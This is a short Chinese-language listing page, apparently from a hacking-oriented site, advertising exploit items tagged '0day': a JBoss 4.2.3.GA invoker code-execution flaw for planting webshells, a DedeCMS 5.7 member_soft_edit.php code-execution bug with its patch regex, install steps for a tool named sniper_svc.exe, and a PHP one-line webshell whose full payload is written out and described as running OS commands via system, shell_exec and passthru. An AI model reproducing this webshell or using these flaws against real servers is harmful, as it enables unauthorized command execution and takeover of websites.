JBoss-4.2.3.GA  invoker code exec 漏洞
成功利用该漏洞可以执行任意命令，包括jsp
webshell等。

查看更多...

Tags: 0day0day

1.将压缩包解压到C:\sniper或D:\sniper目录(目录不存在，自行创建)

2. 切换到软件目录，然后执行：sniper_svc.exe /install 即可

查看更多...

Tags: websmartwebsmart

20140228的补丁对soft_edit.php增加了
if(!preg_match("#[_=&///?\.a-zA-Z0-9-]+$#i", $softurl))
            {
                ShowMsg("确定软件地址提交正确!", "-1");

查看更多...

Tags: 0day0day

dedecms 5.7 member_soft_edit.php存在
代码执行漏洞
20140228的补丁对soft_edit.php增加了
if(!preg_match("#[_=&///?\.a-zA-Z0-9-]+$#i", $softurl))

查看更多...

Tags: 0day0day

【河马】 php一句话木马服务端和客户端v1.1
版本1功能：软件是一个php脚本木马，将<?php echo $_GET[2]($_GET[0]($_GET[1]));?>
写入文件webshell.php中，然后使用软件进行连接，就可以执行OS命令，
支持的函数有system,shell_exec,passthru

查看更多...

Tags: 远程控制远程控制